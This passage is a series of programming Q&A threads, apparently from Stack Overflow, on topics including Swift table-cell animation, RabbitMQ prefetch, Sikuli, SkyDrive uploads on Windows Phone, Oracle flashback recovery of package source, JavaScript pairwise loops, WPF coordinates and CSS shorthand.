        super.viewDidLoad()
        tableView.dataSource = self
    }

    var animated: [Bool] = Array(repeating: false, count: 100)
}
extension ViewController: UITableViewDataSource, UITableViewDelegate {

    func numberOfSections(in tableView: UITableView) -> Int {
        1
    }

    func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        100
    }

    func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCell(withIdentifier: "TestCell", for: indexPath) as! TestCell

        if !animated[indexPath.row] {

            animated[indexPath.row] = true

            // cells are reused, so "reset" the initial label text
            cell.textLabel?.text = "Needs to animate..."

            //
            let animator = UIViewPropertyAnimator(duration: 5, curve: .easeIn) { [weak cell] in
                cell?.textLabel?.layer.opacity = 0
            }

            animator.addCompletion { [weak cell] completed in
                cell?.textLabel?.layer.opacity = 0
                cell?.textLabel?.text = "\(indexPath.row)"

                if completed == .end {

                    let animator1 = UIViewPropertyAnimator(duration: 5, curve: .easeIn) { [weak cell] in
                        cell?.textLabel?.layer.opacity = 1
                    }

                    animator1.addCompletion { [weak cell] _ in
                        cell?.textLabel?.layer.opacity = 1
                        cell?.textLabel?.text = "\(indexPath.row)"
                    }

                    animator1.startAnimation(afterDelay: 0)
                    cell?.animations.append(animator1)
                }
            }

            animator.startAnimation(afterDelay: 0)
            cell.animations.append(animator)

        } else {
            cell.textLabel?.layer.opacity = 1
            cell.textLabel?.text = "\(indexPath.row)"
        }
        return cell
    }

}

Edit
Note on animator completion blocks...
First, you used completed as your completion block parameter -- you might be misleading yourself, as it's not a Bool value... it's a UIViewAnimatingPosition value.
From Apple's docs:

The ending position of the animations. Use this value to determine whether the animations stopped at the beginning, end, or somewhere in the middle.

Completion blocks are executed after the animations finish normally. If you call the stopAnimation(_:) method, the completion blocks are not called if you specify true for the method's parameter. If you specify false for the parameter, the animator executes the completion blocks normally after you call the its finishAnimation(at:) method.

So, if your
animator.stopAnimation(true)

is called before the first animation finishes, its completion block will not be called.
If it's called after the first animation finishes, but before the second animation finishes, the second animation's completion block will not be called.


text:
Q: RabbitMQ: multiple queues/one (long) task at a time I'm using RabbitMQ to manage multiple servers executing long lasting tasks. Each server can listen to one or more queues, but each server should process only one task at a time.
Each time I start a consumer in a server, I configure it with channel.basic_qos(prefetch_count=1) so that only one tasks is processed for the respective queue.
Suppose we have:
 - 2 queues: task1, task2.
 - 2 servers: server1, server2.
 - Both servers work with task1 and task2.
If the next messages are produced at the same time:
 - messageA for tasks1
 - messageB for tasks2
 - messageC for tasks1
What I expect:
 - messageA gets processed by server1
 - messageB gets processed by server2
 . messageC stays queued until one of the servers is ready (finishes its current task).
What I actually get:
 - messageA gets processed by worker1
 - messageB gets processed by worker2
 - messageC gets processed by worker2 (WRONG)
I do not start consumers at the same time. In fact, working tasks are constantly being turned on/off in each server. Most of the time servers work with different queues (server1: tasks1, tasks2, task3; server2: tasks1, tasks5; server3: tasks2, tasks5; and so on).
How could I manage to do this?
EDIT
Based on Olivier's answer:
Tasks are different. Each server is able to handle some of the tasks, not all of them. A server could process only one task at a time.
I tried using exchanges with routing_keys, but I found two problems: all of the servers binded to the routing key task_i would process its tasks (I need it to be processed only once), and if there is no server binded to task_i, then its messages are dropped (I need to remain queued until some server can handle it).

A: Seems from the description you provide that the issue is due to your servers connecting to multiple queues at the same time.
As your prefetch count is set to 1, a server connected to 3 queues will consume up to 3 messages even though he will only be processing one at a time (per your description of processing).
It's not clear from your question whether there is a need for multiple queues or whether you could have all tasks end up in a single queue:

*

*do all the servers consume all the tasks

*do you need to be able to stop the processing of certain tasks

If you need/wish to be able to "stop" the processing of certain tasks, or control the distribution of processing throughout your servers, you'll need to manage consumers in your servers to only have one active consumer at a time (otherwise you're going to block/consume some messages due to prefetch 1).
If you do not need to control the processing of the various tasks, would be far simpler to have all of the messages end up in a single queue, and single consumer to that queue setup with prefetch one for each of your servers.


text:
Q: Sikuli: How to click on each excel cells specific interval of time? I am new to Sikuli. I need to click on each excel cell - one by one of the specific interval of time so how can I iterate among the excel cells.

Update 1:
 When mouse click on the 1st cell of a hyperlink(i.e. google.com) and specific interval of time again mouse click on the 2nd cell of the hyper link(i.e. gmail.com) and so on till the end of the cell.
Update 2:
Actually, I have an excel file - In the file, specific Single column - I want to click on all hyperlink continuously using Sikuli?
My question not about time interval but my question is how to click on all hyperlink one by one.

A: You need to do a few steps.
First locate the image of the 'A' field.
Then define that region below it.
To find an image you could use:
imageA = ("A.png")
columnA = find(imageA).below()

You also have .left() for example.
If you use .hightlight(5) you can see what region Sikuli takes.
But only use that to debug, I had problems with clicking on a field after using that in the code.
You can do 2 things then.
1. Define the region for image of number 1 but then with a left, and where they match you click.
2) Now you know the region where column A starts you could click below it every x pixels.
But I suggest option 1.

A: If your question is about inserting time intervals, you can just utilize the tools of the programming language you are you are using. For example in Jython(Python):
import time

print("before sleeping")
time.sleep(5) # sleep/wait for 5 seconds
print("after sleeping")

In Java:
Thread.sleep(5000); // sleep for 5000ms which is 5sec


text:
Q: "The request has already been submitted." while working with Skydrive API in WP8 I am trying to use the SkyDrive API to upload a file. I tried using the below code.GEtAccountInformaiton and GetQuotaInformaiton methods are successfully executed But it always sets this error "The request has already been submitted." at the end (in  UploadISOFileToSkyDriveAsync() method for the field  lblMessageBar.Text ).
   private async void GetAccountInformations()
    {
        try
        {
            LiveOperationResult operationResult = await App.liveConnectClient.GetAsync("me");
            var jsonResult = operationResult.Result as dynamic;
            string firstName = jsonResult.first_name ?? string.Empty;
            string lastName = jsonResult.last_name ?? string.Empty;
            lblMessageBar.Text = "Welcome " + firstName + " " + lastName;
            GetQuotaInformations();
        }
        catch (Exception e)
        {
            lblMessageBar.Text = e.ToString();
        }
    }
    private async void GetQuotaInformations()
    {
        try
        {
            LiveOperationResult operationResult = await App.liveConnectClient.GetAsync("me/skydrive/quota");
            var jsonResult = operationResult.Result as dynamic;
            quota = jsonResult.quota ?? string.Empty;
            available = jsonResult.available ?? string.Empty;
            lblMessageBar.Text = "Available space in bytes: " + ConvertBytesToGigabytes(available).ToString("#.####") + "GB " + "out of bytes " + ConvertBytesToGigabytes(quota).ToString("#.####") + "GB";
            UploadISOFileToSkyDriveAsync();

        }
        catch (Exception e)
        {
            lblMessageBar.Text = e.ToString();
        }
    }

    public async void UploadISOFileToSkyDriveAsync()
    {
        try
        {

            //http://developer.nokia.com/Community/Wiki/SkyDrive_-_How_to_upload_content_on_Windows_Phone
            IsolatedStorageFile fileStorage = IsolatedStorageFile.GetUserStoreForApplication();
            StreamWriter Writer = new StreamWriter(new IsolatedStorageFileStream("/shared/transfers/" + Constants.SkyDriveSavedLocationsFileName, FileMode.Append, fileStorage));
            //get the data from local database and write to the isolated file and then use the path of this file to saved it to skydrive..
            ObservableCollection<SavedLocationsTableEntity> SavedLocations = SavedLocationsTableEntity.GetSavedLocations();
            foreach (SavedLocationsTableEntity item in SavedLocations)
            {
                Writer.WriteLine(UtilityLib.GetGoogleURL(new System.Device.Location.GeoCoordinate(item.SavedLocationLatitude, item.SavedLocationLongitude, item.SavedLocationAltitude)));
            }

            Writer.Close();
            using (IsolatedStorageFile store = IsolatedStorageFile.GetUserStoreForApplication())
            {
                fileStream = store.OpenFile("/shared/transfers/" + Constants.SkyDriveSavedLocationsFileName, FileMode.OpenOrCreate, FileAccess.Read);

                //strEncryptedFileStream = Encoding.Unicode.GetBytes(fileStream.ToString()).ToString();
                if (fileStream.Length == 0)
                {
                    lblMessageBar.Text = "No data to upload to SkyDrive..";
                    return;
                }
                fileStream.Close();
            }
            //remove previous calls

            var reqList = BackgroundTransferService.Requests.ToList();
            foreach (var req in reqList)
            {
                if (req.UploadLocation.Equals(new Uri(MyFilePathInIsoStore, UriKind.Relative)))
                    BackgroundTransferService.Remove(BackgroundTransferService.Find(req.RequestId));
            }

            //Make a new call to upload
            LiveOperationResult res = await App.liveConnectClient.BackgroundUploadAsync("me/skydrive", new Uri("/shared/transfers/" + Constants.SkyDriveSavedLocationsFileName, UriKind.Relative), OverwriteOption.Overwrite);
            lblMessageBar.Text = "File " + Constants.SkyDriveSavedLocationsFileName + " uploaded.";
            return;
        }
        catch (Exception ex)
        {
            lblMessageBar.Text = "Cannot upload to SkyDrive.. " + ex.Message;
            return;

        }
    }

A: It looks like MyFilePathInIsoStore here:
if (req.UploadLocation.Equals(new Uri(MyFilePathInIsoStore

is not equals "/shared/transfers/" + Constants.SkyDriveSavedLocationsFileName here:
new Uri("/shared/transfers/" + Constants.SkyDriveSavedLocationsFileName, UriKind.Relative)


text:
Q: Can I recover older Oracle pl/sql source code from a package body after i have replaced with newer code I had created an Oracle PL/SQL package with a header and a body with lots of code.
Later, I ended up accidentally erasing the code from that body after reran the CREATE OR REPLACE PACKAGE BODY... statement with different source code (which actually I intended to save under a different package name).
Is there any way I can recover my older replaced source code from the package?

A: Unless you have logging/auditing of DDL commands enabled, or a backup of the database, then the answer is almost certainly not
Database definitions, including stored procedures, should always be treated like source code, and maintained in a code repository

A: You might be able to get it back by using a flashback query on all_source.
e.g. my package body is currently at version 2, executing this query as a standard user:
SQL> select text
  2  from all_source
  3  where name = 'CARPENTERI_TEST'
  4  and type = 'PACKAGE BODY';

TEXT

package body carpenteri_test
is

procedure do_stuff
is
begin
   dbms_output.put_line('version 2');
end do_stuff;

end carpenteri_test;

10 rows selected.

I know I changed this around 9:30 this evening so after connecting as a SYSDBA user I ran this query:
SQL> select text
  2  from all_source
  3  as of timestamp
  4  to_timestamp('04-JUN-2010 21:30:00', 'DD-MON-YYYY HH24:MI:SS')
  5  where name = 'CARPENTERI_TEST'
  6  and type = 'PACKAGE BODY';

TEXT
----------------------------------------------------------------------------

package body carpenteri_test
is

procedure do_stuff
is
begin
   dbms_output.put_line('version 1');
end do_stuff;

end carpenteri_test;

10 rows selected.

More information on flashback can be found here. Tom Kyte also demostrates how to use flashback with all_source here.


text:
Q: How can the first element be compared to the rest of the elements and the second element to the rest of the elements and the same repetition I want compare between elements in the same array to get this result
      let arr = ['one','two','three','four'];
      arr.forEach((ele, i, ar)=>{
      console.log(ele, i, ar)
      for(let item = i; item< ar.length; item++ ){
        console.log (ele, ar[item])
      }
    })

    'one' => 'two',
    'one' => 'three',
    'one' => 'four',
    'two' => 'three',
    'two' => 'four',
    'three' => 'four'.

A: You can use two for loop, and make the second loop start from the index of the first loop + 1:

let arr = ['one','two','three','four'];

for(let i=0; i< arr.length; i++){
  for(j=i+1; j<arr.length; j++){
    console.log(arr[i],' => ', arr[j]);
  }
  }

A: Use flatMap and slice

let arr = ["one", "two", "three", "four"];

const res = arr.flatMap((x, i) => arr.slice(i + 1).map(y => `${x} => ${y}`));

console.log(res)


text:
Q: Coordinates of children of canvas element There are a few rectangles inside a canvas. How can I get the coordinates of the rectangles wrt canvas using the Name of rectangles in C# ?

A: You can do this using TransformToVisual. There's a good example here: Visual.TransformToVisual MSDN
From the page for Posterity:
<StackPanel Name="myStackPanel" Margin="8">
  <TextBlock Name="myTextBlock" Margin="4" Text="Hello, world" />
</StackPanel>

// Return the general transform for the specified visual object.
GeneralTransform generalTransform1 = myStackPanel.TransformToVisual(myTextBlock);

// Retrieve the point value relative to the child.
Point currentPoint = generalTransform1.Transform(new Point(0, 0));


text:
Q: CSS deve ser Shorthand ou Longhand Afina qual é a prática correta, usar o CSS com Shorthand ou Longhand? Procurei, mas não achei uma reposta definitiva...
Quando declaramos a classe com Shorthand estamos dizendo que todos os outros valores devem ser setados como initial. Vou demonstrar apenas algumas situações que ilustram meu interesse e dúvida.

A value which is not specified is set to its initial value. Fonte: https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties

Logo quando declaramos nossa cor de BG assim:
div {
     background: red;
}

Na verdade estamos dizendo, ou pelo menos é assim que o Browser está lendo, isso:
div {
    background-image: initial;
    background-position-x: initial;
    background-position-y: initial;
    background-size: initial;
    background-repeat-x: initial;
    background-repeat-y: initial;
    background-attachment: initial;
    background-origin: initial;
    background-clip: initial;
    background-color: red; /* mas eu só queria o bg :) */
}

*

*Isso é bom para performance?

*É melhor declara todos os valores individualmente ou deixar o Browser processar todos os valores que não estamos declarando?

Possíveis problemas com o Shorthand (mais um exemplo com background)
Exemplo de problema simples de shorthand com background fazendo override nas classes definidas pelo componente default.
.base-class {
    height: 50px;
    width: 100%;
    background-position: 0 0;
    background-repeat: no-repeat;
}
.base-class--modifier {
    background: radial-gradient(...)
}

Deveria ser usado background-image: radial-gradient(...)
Hoje como o Emmet e softwares que já tem autocomplit de quase tudo ainda vale a pena escrever CSS com atalhos? Ou é melhor ser mais conciso nas declarações dos estilos?
Existe alguma boa prática? Considerando performance, manutenibilidade, leiturabilidade, etc
Links de referência:

*

*https://csswizardry.com/2016/12/css-shorthand-syntax-considered-an-anti-pattern/

*https://www.hongkiat.com/blog/css-shorthand-longhand-notations/

A:
Afina qual é a prática correta, usar o CSS com Shorthand ou Longhand?

Voce respondeu com o seu link: https://assets.hongkiat.com/uploads/css-shorthand-longhand-notations/long-vs-short-notations.jpg so precisa olhar "When to use"

Isso é bom para performance?

Performance no css esta relacionada com uso de id, tag e Universal.
#main-navigation {   }      /* ID (O mais Rapido) */
body.home #page-wrap {   }  /* ID */
.main-navigation {   }      /* Class */
ul li a.current {   }       /* Class *
ul {   }                    /* Tag */
ul li a {  }                /* Tag */
* {   }                     /* Universal (O mais lento) */
#content [title='home']     /* Universal */

Voce pode confirir nesse site sobre perfomance https://css-tricks.com/efficiently-rendering-css/

Existe alguma boa prática?

Reuso da css é uma boa pratica, mas a performance é 10 milisegundos a mais(apenas uma ideia de tempo), css propria fazendo uso de Id nao é reutilizavel(a menos que seja vc que esta reutilizando) mas é mais rapido e por  nao ser reutilizavel seria uma ma pratica.
Uma boa pratica em geral, por css ser tao leve e cada empresa ou designer ter o seu proprio estilo de organizacao que chega a ser impossivel gerar um design pattern a ser seguido por todos, css roda em menos de 0.1 segundo(bem menos estou colocando por alto), esse tempo pode "aumentar" nao muita coisa quando se faz o uso de pseudo-class.
(EDITADO) "Evitar usar o css dentro do html, pq é dificil de dar manuteçao."
E por ultimo, terminou o css gere o minify porque o "maior problema" é para carregar o arquivo e nao a sua leitura.
*Desculpe a falta de ascentos meu teclado no momento nao possue tais teclas(teclado turco)